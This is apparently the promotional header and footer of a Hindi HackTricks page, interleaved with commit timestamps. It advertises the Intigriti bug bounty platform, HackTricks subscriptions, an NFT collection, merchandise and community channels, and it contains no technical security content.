2022-04-28 16:01:33 +00:00
2022-07-21 20:26:09 +00:00
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
2023-11-06 08:38:02 +00:00
**बग बाउंटी टिप**: **Intigriti** में **साइन अप करें**, एक प्रीमियम **बग बाउंटी प्लेटफ़ॉर्म जो हैकर्स द्वारा बनाई गई है**! आज ही हमारे साथ शामिल हों [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks), और **$100,000** तक की बाउंटी कमाना शुरू करें!
2022-05-08 22:42:39 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
* क्या आप **साइबर सुरक्षा कंपनी में काम करते हैं**? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की अनुमति चाहिए**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में।**
2022-04-28 16:01:33 +00:00
</details>